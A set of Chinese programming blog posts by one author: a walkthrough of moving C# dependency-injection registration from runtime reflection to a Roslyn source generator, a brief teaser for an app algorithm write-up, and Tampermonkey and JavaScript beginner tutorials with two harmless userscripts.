前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item in cls) { var assembly = Assembly.Load(item); Register(services, assembly); } } /// /// 动态注册服务 /// /// /// [RequiresUnreferencedCode("不兼容剪裁")] private static void Register(IServiceCollection services, Assembly assembly) { string? name = assembly.GetName().Name; _logger.Debug($"===== 注册 {name} 中的服务 ====="); uint count = 0; foreach (var type in assembly.GetTypes()) { var serviceAttribute = type.GetCustomAttribute<AppServiceAttribute>(); if (serviceAttribute != null) { count++; var serviceType = serviceAttribute.ServiceType; //情况1 适用于依赖抽象编程，注意这里只获取第一个 if (serviceType == null && serviceAttribute.InterfaceServiceType) { serviceType = type.GetInterfaces().FirstOrDefault(); } //情况2 不常见特殊情况下才会指定ServiceType，写起来麻烦 if (serviceType == null) { serviceType = type; } var lifetime = serviceAttribute.ServiceLifetime; switch (lifetime) { case LifeTime.Singleton: services.AddSingleton(serviceType, type); break; case LifeTime.Scoped: services.AddScoped(serviceType, type); break; case LifeTime.Transient: services.AddTransient(serviceType, type); break; default: services.AddTransient(serviceType, type); break; } _logger.Debug($"{lifetime} - {serviceType}"); } } _logger.Debug($"===== 注册了 {count} 个服务 ====="); } } 也不是不能用，就是感觉不够完美，而且因为使用了反射的相关特性，无法简单地启用程序集裁剪和应用 AOT，所有就想到利用 .Net 5.0 新加入的源生成器特性来实现相同的功能，避免使用反射特性和降低运行时的额外开销 源生成器 - 新的方案 源生成器官方文档 因为我的项目是按照命名空间分成了几个子项目，而源生成器只能分析当前项目的语法树，如果用文件 IO 的方式读取本地 .cs 文件也是可以实现的，但是会显示警告，因为官方并不推荐在源生成器中使用文件 IO，这会降低编译速度，而且服务类也不是经常新增，每次编译都扫描一遍也是完全没必要的 综上，我的解决方案是写一个 Powershell 脚本来扫描解决方案中的所有服务，并保存到一个文件中，然后在源生成器中读取该文件来生成服务注册的代码 服务扫描脚本 首先是服务扫描脚本 scan_service.ps1 # # @Author : Chr_ # @Date : 2024-01-18 14:25:15 # @LastEditors : Chr_ # @LastEditTime : 2024-01-18 20:15:18 # @Description : 生成依赖服务信息 # # 工作目录 $workDir = (Get-Location).Path; $outputPath = Join-Path -Path (Join-Path -Path $workDir -ChildPath "XinjingdailyBot.WebAPI") -ChildPath "Properties"; # 包名列表 $libNames = "XinjingdailyBot.Model", "XinjingdailyBot.Repository", "XinjingdailyBot.Interface", "XinjingdailyBot.Service", "XinjingdailyBot.Tasks", "XinjingdailyBot.Command"; # 输出路径 $appServicePath = Join-Path -Path $outputPath -ChildPath "appService.json"; # 扫描源文件列表 function GetSourceFileList { param ( [string]$Path ) $result = @(); # 去除 bin obj 目录 $dirs = Get-ChildItem -Path $Path -Directory -Exclude "bin", "obj" # 遍历所有 .cs 文件 foreach ($dir in $dirs) { $files = Get-ChildItem -Path $dir -Filter "*.cs" -File -Recurse # 遍历子目录文件 foreach ($file in $files) { $result += $file } } $files = Get-ChildItem -Path $Path -Filter "*.cs" -File # 遍历所有 .cs 文件 foreach ($file in $files) { $result += $file } Write-Output $result $result; } # 读取命名空间 function GetNamespace { param ( [string] $Content ) if ($Content -match "namespace\s+([^;{]+)") { $Matches[1]; } } # 读取类名/接口名 function GetClassName { param ( [string] $Content ) if ($Content -match "(?:class|interface|record)\s+([^({:\s]+)") { $Matches[1]; } } # 扫描AppServiceAttribute function ScanAppServiceAttribute { param ( [string] $Content ) if ($Content -match "\[AppService(?:Attribute)?\(([^\]]+)\)\]") { $result = @{} $arguments = $Matches[1].Split(","); foreach ($argument in $arguments) { if ($argument -match "LifeTime\.(Singleton|Transient|Scoped)") { $result["LifeTime"] = $Matches[1]; } elseif ($argument -match "typeof\(([^()]+)\)") { $result["Interface"] = $Matches[1]; } elseif ($argument -match "true|false") { $result["AutoInterface"] = $Matches[1]; } else { Write-Output $argument; } } $result; } } # 类全名表 $clsNamespaces = @{}; $appServiceAttributes = @{}; foreach ($libName in $libNames) { # 库文件路径 $libPath = Join-Path -Path $workDir -ChildPath $libName; # 获取所有源文件路径 $filePaths = GetSourceFileList -Path $libPath; # 读取Service信息和类命名空间; foreach ($filePath in $filePaths) { $fileContent = Get-Content -Path $filePath.FullName -Raw; $namespace = GetNameSpace -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsName = GetClassName -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsNamespaces[$clsName] = $namespace; $appService = ScanAppServiceAttribute -Content $fileContent; if ($null -ne $appService) { $appServiceAttributes[$clsName] = $appService; } } } $services = $appServiceAttributes.Clone(); # 生成服务信息 foreach ($service in $services.Keys) { $serviceInfo = $appServiceAttributes[$service]; $namespace = $clsNamespaces[$service]; $serviceInfo["Class"] = "$namespace.$service"; $interface = $serviceInfo["Interface"]; if ($null -ne $interface) { $ns = $clsNamespaces[$interface]; $serviceInfo["Interface"] = "$ns.$interface"; } $appServiceAttributes[$service] = $serviceInfo; } Write-Output "扫描到 $($appServiceAttributes.Count) 个服务"; $appServiceAttributes | ConvertTo-Json | Out-File -FilePath $appServicePath Write-Output "文件保存至 $appServicePath" 这个脚本的功能是遍历定义的子项目文件，然后扫描所有类和接口，以及所有带有 AppServiceAttribute 特性的服务类，最后生成一个 appService.json 运行脚本生成文件以后记得修改文件生成操作，不然在分析器里这个文件是不可见的 创建源生成器 跟创建类库一样，但是需要编辑 .csproj 文件，完整文件如下 netstandard2.0 <EnforceExtendedAnalyzerRules>true</EnforceExtendedAnalyzerRules> true <GetTargetPathDependsOn>$(GetTargetPathDependsOn);GetDependencyTargetPaths</GetTargetPathDependsOn> CS1570;CS1587 <None Include="..\.editorconfig" Link=".editorconfig" /> all runtime; build; native; contentfiles; analyzers; buildtransitive all all true all True True Templates.resx ResXFileCodeGenerator Templates.Designer.cs <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> 我所做的修改如下 将目标框架改为 netstandard2.0，目前源生成器必须用该版本 添加 EnforceExtendedAnalyzerRules 和 IsRoslynComponent 项，第一个是排除别的分析器，第二个是定义该项目是 Roslyn 组件，添加了以后会有额外的调试配置 添加 GetTargetPathDependsOn 项，意思是从定义的路径中寻找依赖库 添加 Microsoft.CodeAnalysis.Analyzers 和 Microsoft.CodeAnalysis.Common 和 Microsoft.CodeAnalysis.CSharp 库，原样从微软文档拷来的，生成器必须的依赖 添加 Newtonsoft.Json 库（可选），我使用了 Newtonsoft.Json 作为 Json 反序列化库，因此还需要额外配置引用信息（因为源生成器相当于是编译期的扩展，如果不做额外处理会报找不到Dll的错），需要在下面定义 <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> 然后再主项目中添加项目引用，并修改引用的属性，将被引用项目类型改成分析器，然后排除所有的生成资产 Analyzer <ReferenceOutputAssembly>false</ReferenceOutputAssembly> 服务注册源生成器 代码模板存放在 Templates.resx 中，内容如图 可以根据输出的结果反推 using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Text; using Newtonsoft.Json; using System.Text; using XinjingdailyBot.Generator.Data; namespace XinjingdailyBot.Generator; [Generator] internal sealed class AppServiceGenerator : ISourceGenerator { const string InputFileName = "appService.json"; const string OutoutFileName = "GeneratedAppServiceExtensions.g.cs"; /// <inheritdoc/> public void Initialize(GeneratorInitializationContext context) { // 无需处理 } /// <inheritdoc/> public void Execute(GeneratorExecutionContext context) { try { var fileText = context.AdditionalFiles.Where(static x => x.Path.EndsWith(InputFileName)).FirstOrDefault() ?? throw new FileNotFoundException("缺少配置文件, 请使用 scan_service.ps1 生成"); ProcessSettingsFile(fileText, context); } catch (Exception e) { context.ReportDiagnostic( Diagnostic.Create( "XJB_01", nameof(AppServiceGenerator), $"生成注入代码失败，{e.Message}", defaultSeverity: DiagnosticSeverity.Error, severity: DiagnosticSeverity.Error, isEnabledByDefault: true, warningLevel: 0)); } } /// /// 生成文件 /// /// /// private void ProcessSettingsFile(AdditionalText xmlFile, GeneratorExecutionContext context) { var text = xmlFile.GetText(context.CancellationToken)?.ToString() ?? throw new FileLoadException("文件读取失败"); var json = JsonConvert.DeserializeObject<AppServiceData>(text) ?? throw new FileLoadException("文件读取失败"); var sb = new StringBuilder(); sb.AppendLine(Templates.AppServiceHeader); foreach (var kv in json) { var entry = kv.Value; var lifeTime = entry.LifeTime?.ToLowerInvariant() switch { "singleton" or "scoped" or "transient" => entry.LifeTime, _ => null, }; if (string.IsNullOrEmpty(lifeTime)) { continue; } if (!string.IsNullOrEmpty(entry.Class)) { if (string.IsNullOrEmpty(entry.Interface)) { sb.AppendLine(string.Format(Templates.AppServiceContent1, lifeTime, entry.Class)); } else { sb.AppendLine(string.Format(Templates.AppServiceContent2, lifeTime, entry.Interface, entry.Class)); } } } sb.AppendLine(Templates.AppServiceFooter); context.AddSource(OutoutFileName, SourceText.From(sb.ToString(), Encoding.UTF8)); } } 生成的代码示例，为避免使用 using，这里使用完整类名引用 using Microsoft.Extensions.DependencyInjection; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class GeneratedAppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// public static void AddAppServiceGenerated(this IServiceCollection services) { services.AddTransient<XinjingdailyBot.Repository.OldPostRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IDispatcherService, XinjingdailyBot.Service.Bot.Common.DispatcherService>(); services.AddSingleton<XinjingdailyBot.Repository.TagRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Common.IChannelService, XinjingdailyBot.Service.Bot.Common.ChannelService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAttachmentService, XinjingdailyBot.Service.Data.AttachmentService>(); services.AddScoped<XinjingdailyBot.Command.ReviewCommand>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Handler.IJoinRequestHandler, XinjingdailyBot.Service.Bot.Handler.JoinRequestHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IBanRecordService, XinjingdailyBot.Service.Data.BanRecordService>(); services.AddSingleton<XinjingdailyBot.Repository.RejectReasonRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IUpdateService, XinjingdailyBot.Service.Bot.Common.UpdateService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IForwardMessageHandler, XinjingdailyBot.Service.Bot.Handler.ForwardMessageHandler>(); services.AddScoped<XinjingdailyBot.Command.CommonCommand>(); services.AddSingleton<XinjingdailyBot.Repository.LevelRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.ICommandHandler, XinjingdailyBot.Service.Bot.Handler.CommandHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IDialogueService, XinjingdailyBot.Service.Data.DialogueService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IPostService, XinjingdailyBot.Service.Data.PostService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IChannelOptionService, XinjingdailyBot.Service.Data.ChannelOptionService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IChannelPostHandler, XinjingdailyBot.Service.Bot.Handler.ChannelPostHandler>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserService, XinjingdailyBot.Service.Data.UserService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IImageHelperService, XinjingdailyBot.Service.Helper.ImageHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.INameHistoryService, XinjingdailyBot.Service.Data.NameHistoryService>(); services.AddScoped<XinjingdailyBot.Command.NormalCommand>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IMediaGroupService, XinjingdailyBot.Service.Data.MediaGroupService>(); services.AddScoped<XinjingdailyBot.Command.ObsoleteCommand>(); services.AddScoped<XinjingdailyBot.Command.PostCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertisePostService, XinjingdailyBot.Service.Data.AdvertisePostsService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertiseService, XinjingdailyBot.Service.Data.AdvertiseService>(); services.AddSingleton<XinjingdailyBot.Repository.GroupRepository>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IHttpHelperService, XinjingdailyBot.Service.Helper.HttpHelperService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.ITextHelperService, XinjingdailyBot.Service.Helper.TextHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IMessageHandler, XinjingdailyBot.Service.Bot.Handler.MessageHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.ICmdRecordService, XinjingdailyBot.Service.Data.CmdRecordService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IInlineQueryHandler, XinjingdailyBot.Service.Bot.Handler.InlineQueryHandler>(); services.AddTransient<XinjingdailyBot.Repository.PostRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserTokenService, XinjingdailyBot.Service.Data.UserTokenService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IMarkupHelperService, XinjingdailyBot.Service.Helper.MarkupHelperService>(); services.AddScoped<XinjingdailyBot.Command.AdminCommand>(); services.AddScoped<XinjingdailyBot.Command.SuperCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IReviewStatusService, XinjingdailyBot.Service.Data.ReviewStatusService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IGroupMessageHandler, XinjingdailyBot.Service.Bot.Handler.GroupMessageHandler>(); } } 调试源生成器 首先删除源生成器项目的所有调试目标，然后新增 Roslyn Component 目标，并在右边将 Target Project 设为主项目，然后将启动项目改为生成器 然后在生成器的 Initialize 方法中开启调试器 public void Initialize(GeneratorInitializationContext context) { // 无需处理 if (!Debugger.IsAttached) { Debugger.Launch(); } } 这样就可以动态调试生成器代码了 实际使用 将启动项目改为主功能，去掉源生成器的调试代码，然后重新生成一遍解决方案，如果一切正常，将会在分析器中看到生成的代码文件 如果后续有新的服务，重新执行 scan_service.ps1 即可更新配置文件
前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] [post cid="1634"/] 前情提要 已经毕业半年多了，有关于小黑盒的开发也搁置很久了，感觉也没有那个精力继续开发了，记录一下最近的算法研究，就当给大学生活做个小结。 @> 本文适用于小黑盒 1.3.262，小黑盒历史版本参考我的仓库 @> 全文评论后可见
【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
P2 初识油猴脚本 教程索引 视频链接 光讲JS感觉不是特别直观，用两个不涉及网络请求的脚本进行讲解 第一个脚本 - Remove Live.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/Bilibili/Remove_Live.js 脚本功能： 提供一个开关，用于移除直播播放器，并且带有记忆功能 源码： // ==UserScript== // @name Remove_Live // @name:zh-CN 去除B站直播间播放器 // @namespace https://blog.chrxw.com // @version 1.1 // @description 去除B站多余的直播播放器（滑稽） // @author Chr_ // @include https://live.bilibili.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // ==/UserScript== (() => { "use strict"; //去除播放器的开关 let VEnable = localStorage.getItem("VEnable") === "true"; if (VEnable) { setTimeout(() => { document.getElementById("live-player").remove(); }, 3000); } let btnArea = document.querySelector(".right-ctnr"); let btn = document.createElement("button"); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; btn.addEventListener("click", () => { VEnable = !VEnable; localStorage.setItem("VEnable", VEnable); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; if (VEnable) { document.getElementById("live-player").remove(); } else { location.reload(); } }); btnArea.insertBefore(btn, btnArea.children[0]); })(); 第二个脚本 - SteamDB CN.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/SteamDB/SteamDB_CN.js 脚本功能： 汉化SteamDB 源码： // ==UserScript== // @name:zh-CN SteamDB汉化 // @name SteamDB_CN // @namespace https://blog.chrxw.com // @supportURL https://blog.chrxw.com/scripts.html // @contributionURL https://afdian.net/@chr233 // @version 1.32 // @description SteamDB汉化插件 // @description:zh-cn SteamDB汉化插件 // @author Chr_ // @match https://steamdb.info/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @resource data https://cf.chrxw.com/SteamDB/SteamDB_CN.json // @grant GM_addStyle // @grant GM_getResourceText // @grant GM_registerMenuCommand // ==/UserScript== (() => { "use strict"; //是否打开调试模式（使用自定义汉化规则而不是在线规则） const DEBUG = localStorage["dbg_mode"] == "开"; //是否在控制台输出未汉化文本 const OUTPUT = localStorage["out_word"] == "开"; GM_registerMenuCommand(`调试汉化文本: 【${DEBUG ? "开" : "关"}】`, () => { window.localStorage["dbg_mode"] = DEBUG ? "关" : "开"; window.location.reload(); }); GM_registerMenuCommand(`在控制台输出未匹配文本: 【${OUTPUT ? "开" : "关"}】`, () => { window.localStorage["out_word"] = OUTPUT ? "关" : "开"; window.location.reload(); }); document.querySelector("html").setAttribute("lang", "zh-CN"); let Locales; if (DEBUG) { const template = `{"DOC":{"更新时间":"调试模式","贡献名单":["调试模式"]},\n"STATIC":\n{\n\n},\n"INPUT":\n{\n\n},\n"LABEL":\n{\n\n},\n"DYNAMIC":\n{\n\n}\n}`; const box = document.createElement("div"); box.className = "sdc"; const text = document.createElement("textarea"); box.appendChild(text); const action = document.createElement("div"); action.className = "sdc-links"; box.appendChild(action); const btnSave = document.createElement("a"); btnSave.innerText = "💾 保存并应用"; btnSave.addEventListener("click", () => { const raw = text.value.trim(); if (!raw) { alert("翻译文本不能为空!!!"); } else { try { JSON.parse(raw); window.localStorage["sdb_lang"] = raw; window.location.reload(); } catch (e) { alert("翻译文本不是有效的JSON格式!!!"); } } }); action.appendChild(btnSave); const btnReset = document.createElement("a"); btnReset.textContent = "🗑️ 清空文本"; btnReset.addEventListener("click", () => { window.localStorage["sdb_lang"] = template; window.location.reload(); }); action.appendChild(btnReset); const btnOnline = document.createElement("a"); btnOnline.textContent = "📄 当前在线文本"; btnOnline.addEventListener("click", () => { if (confirm("替换为在线版本后当前所做修改将会丢失, 确定要继续吗?")) { text.value = GM_getResourceText("data"); } }); action.appendChild(btnOnline); const about = document.createElement('a'); about.href = "https://blog.chrxw.com" about.innerText = "🔗 By Chr_ © 2022"; action.appendChild(about); const father = document.getElementById("main"); father.insertBefore(box, father.firstChild); const customLang = window.localStorage["sdb_lang"] ?? template; text.value = customLang; Locales = JSON.parse(customLang); } else { Locales = JSON.parse(GM_getResourceText("data")); } //计时 const Start = new Date().getTime(); {//静态元素 for (const [css, dic] of Object.entries(Locales.STATIC)) { if (OUTPUT) { console.log(`〖${css}〗`); } const elements = document.querySelectorAll(css); if (elements.length > 0) { for (let i = 0; i < elements.length; i++) { const element = elements[i]; if (element.childElementCount === 0) {//节点内部无其他元素 const raw = element.innerText?.trim(); if (!raw || raw.length <= 2) { continue; } const txt = dic[raw]; if (txt) { element.innerText = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } else {//节点内部有其他元素 const nodes = element.childNodes; for (let j = 0; j < nodes.length; j++) { const node = nodes[j]; if (node.nodeType === Node.TEXT_NODE) { const raw = node.textContent?.trim(); if (!raw || raw.length <= 2) { continue; } const txt = dic[raw]; if (txt) { node.textContent = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } } } } else { if (OUTPUT) { console.warn(`CSS选择器未匹配到任何元素: ${css}`); } } } } {//输入框 const inputs = Locales.INPUT; if (OUTPUT) { console.log("〖输入框〗"); } const elements = document.querySelectorAll("input"); for (let i = 0; i < elements.length; i++) { const element = elements[i]; const raw = element.placeholder; if (!raw) { continue; } const txt = inputs[raw]; if (txt) { element.placeholder = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } {//悬浮提示 const labels = Locales.LABEL; if (OUTPUT) { console.log("〖提示文本〗"); } const elements = document.querySelectorAll("*[aria-label]"); for (let i = 0; i < elements.length; i++) { const element = elements[i]; const raw = element.getAttribute("aria-label"); if (!raw) { continue; } const txt = labels[raw]; if (txt) { element.setAttribute("aria-label", txt); } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } const { script: { version } } = GM_info; //const version = GM_info.script.version; const { DOC: { "更新时间": update, "贡献名单": contribution } } = Locales; const End = new Date().getTime(); // 统计耗时 console.log("执行耗时", `${End - Start} ms`); console.log("================================="); console.log(`插件版本: ${version}`); console.log(`更新时间: ${update}`); console.log(`贡献名单: ${contribution.join(", ")}`); console.log("================================="); console.log("迷茫同学:\n『没有恶意 请问直接用谷歌翻译整个网页不香吗』") // 添加按钮 const headerUl=document.querySelector(".header-menu-container>div>ul:nth-child(1)"); const footerUl=document.querySelector(".footer-container>div>ul:nth-child(1)"); const scriptLink = document.createElement("li"); scriptLink.innerHTML = `SteamDB 汉化 V${version}`; headerUl.appendChild(scriptLink); footerUl.appendChild(scriptLink.cloneNode(true)); // 添加样式 GM_addStyle(` .tabnav-tabs > a { min-width: 80px; } .sdc { display: flex; } .sdc > textarea { width: 100%; height: 200px; min-height: 200px; resize: vertical; } .sdc > div.sdc-links { width: 150px; margin: 5px; } .sdc > div.sdc-links > a { width: 100%; margin-bottom: 10px; background-color: #213145; color: white; font-size: 12px; border-radius: 0px; display: inline-block; height: 30px; } .sdc > div.sdc-links > a:last-child { width: 100%; margin-top: 30px; margin-bottom: 0px; color: #67c1f5; background-color: #273b4b; } `); })(); 油猴脚本基本构成 元信息 记录脚本的额外信息，供油猴插件以及 GreasyFork 使用 // ==UserScript== // @name:zh-CN 脚本名称(可选，可以使用语言代码来支持多语言) // @name 脚本名称 // @namespace 命名空间 // @version 脚本版本 // @description 脚本描述 // @description:zh-cn 脚本描述(可选，可以使用语言代码来支持多语言) // @author 作者 // @include 脚本生效域名 // @match 脚本生效域名 // @license 共享协议 // @icon 脚本图标(可选) // @resource 外部资源链接，以及访问名称(可选) // @grant 申请额外权限(可选) // ==/UserScript== 脚本正文 略
【油猴脚本教程】P1 开发者工具的使用 & JavaScript 基础教程
P1 开发者工具的使用 与 JavaScript 基础教程 教程索引 视频链接 (上) 视频链接 (下) 开发者工具的使用 F12 或者 菜单 -> 更多工具 -> 开发者工具 调出 切换中文 更改语言后重新打开开发者工具生效 或者 界面简介 元素 HTML 原文 HTML节点的属性 控制台 在任意Tab按ESC可以在下方调出 源代码 浏览网站中的所有资源 调试代码 网络 抓包工具 应用 查看本地储存的内容 Cookie Session LocalStorage JavaScript 基础教程 一些 JavaScript 学习资源 MDN 文档： https://developer.mozilla.org/zh-CN/docs/Web/JavaScript 廖雪峰： https://www.liaoxuefeng.com/wiki/1022910821149312 菜鸟教程： https://www.runoob.com/js/js-tutorial.html uTools 插件 基本特性 单线程 弱类型 / 动态类型 大小写敏感 ' ," 通用 不强制使用分号 (建议统一) 语法很灵活 运行时: v8, NodeJS 基础语法 注释 //单行注释 /* 多行注释 */ 变量与常量 赋值操作符 var let const //定义变量/常量 var a = 1; var b; let c = 1; let d; const e = 4; //a,b,c,d,e 1 undefined 1 undefined 4 console.log("a,b,c,d,e",a,b,c,d,e); //Uncaught SyntaxError: Missing initializer in const declaration const f; //赋新值 a = 2; c = 3; //Uncaught TypeError: Assignment to constant variable. e = 1; //重复定义 //undefined var a = 6; let c = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared let a = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared const a = 6; //常量覆盖 const e = 6; //e 6 console.log("e",e); //在子域中覆盖(ES6引入) var ts = 1; let he = 2; { var ts = "aaa"; let he = "yyy"; //ts,he aaa yyy console.log("ts,he",ts,he); } //ts,he aaa 2 console.log("ts,he",ts,he); var 定义一个 变量 let 定义一个仅在作用域内生效的 变量 const 定义一个 常量，一旦定义无法修改，但是可以覆盖定义 使用相同的操作符可以覆盖定义同名的变量，但是不建议这么使用 使用 let 覆盖定义时不影响父作用域的同名变量 强烈推荐优先使用 let 定义变量，如果值不需要改变，建议使用 const 定义成常量 函数提升 //函数提升 foo(); // "bar" function foo() { console.log("bar"); } //这种写法的函数不会被提升 bar(); // 类型错误：bar 不是一个函数 var bar = function() { console.log("bar2"); }; 作用域 { } 定义代码作用域 (ES6的内容) 使用 let 定义的变量，在子域可以访问父域的变量，但是父域不能访问子域的变量 函数中定义的内容外部无法访问 子域中定义的函数，父域无法访问 //顶级作用域(最外层的作用域) let x = 114; { //子作用域 let b = 514; //x,b 114 514 console.log("x,b", x, b); } //函数内部其实也是一种作用域 function xbz() { let c = 233; //x,c 114 233 console.log("x,c", x, c); //Uncaught ReferenceError: b is not defined console.log("b", b); } xbz(); //匿名函数同理 (() => { let d = 3.14; //x,d 114 3.14 console.log("x,d", x, d); //Uncaught ReferenceError: b is not defined console.log("b", b); })(); //另一种写法 (function() { let d = 3.14; //x,d 114 3.14 console.log("x,d", x, d); //Uncaught ReferenceError: b is not defined console.log("b", b); })(); //x 114 console.log("x", x); //Uncaught ReferenceError: b is not defined console.log("b", b); //Uncaught ReferenceError: c is not defined console.log("c", c); //Uncaught ReferenceError: d is not defined console.log("d", d); 一模一样的代码，只是使用 var 而不是 let ，可访问性略有区别 //顶级作用域(最外层的作用域) var x = 114; { //子作用域 var b = 514; //x,b 114 514 console.log("x,b", x, b); } //函数内部其实也是一种作用域 function xbz() { var c = 233; //x,c 114 233 console.log("x,c", x, c); //b 514 console.log("b", b); } xbz(); //匿名函数同理 (() => { var d = 3.14; //x,d 114 3.14 console.log("x,d", x, d); //b 514 console.log("b", b); })(); //x, 114 console.log("x", x); //b, 514 console.log("b", b); //Uncaught ReferenceError: c is not defined console.log("c", c); //Uncaught ReferenceError: d is not defined console.log("d", d); 数据类型 基础类型 数值 整数 浮点数(小数) NaN (跟任何值比较都是false) 字符串 " " ' ' ` ` (模板字符串，可以用 ${ } 直接引用程序中的变量) let a = 1; //'a=1' `a=${a}` 布尔 true false 对象 object Array 数组 [ xxx, xxx ] new Array(xxx, xxx) 属性： length 元素个数 方法： at 获取指定索引的元素，找不到返回 underfined，等效于 Array[index] contact 拼接另一个可迭代元素，不影响原数组 indexOf 查找元素位置，索引从0开始，找不到返回-1 includes 是否包含元素，返回布尔 join 使用分隔符将列表元素合并成字符串 push 在末尾添加元素，返回数组长度 pop 移除末尾元素，返回被移除的元素 unshift 在数组首位添加元素，返回数组长度 shift 移除首位元素，返回被移除的元素 slice 切片，不影响原数组，返回切片后的新数组 some 传入lambda表达式，如果列表中含有符合表达式的元素，返回true，反之返回false filter 传入lambda表达式，返回一个包含符合表达式的元素的新列表 find 传入lambda表达式，返回第一个符合表达式的元素，没有匹配则返回 undefined sort 传入lambda表达式，返回排序后的数组 forEach 传入lambda表达式，将列表的每一个元素代入执行 字典 {"key": value} 示例 let dict = {}; //添加键值对 dict["a"] = 1; dict.b = 2; //{a: 1, b: 2} console.log(dict); //一个字典中键名不会重复 dict.b = 3; //{a: 1, b: 3} console.log(dict); //读取键值对, 不存在的键名返回 underfined //1 console.log(dict.a); //3 console.log(dict["b"]); //undefined console.log(dict["c"]); Map 字典 new Map(); Map.set(key,value); 属性 size 键值对数量 方法 set 添加键值对 get 通过键名获取键值, 不存在时返回 underfined clear 清空字典 has 是否含有指定的键名 delete 删除指定键值对 keys 返回键名的可迭代对象 forEach 传入lambda表达式，将字典的每一个键名和键值一起代入执行 Set 集合 new Set() 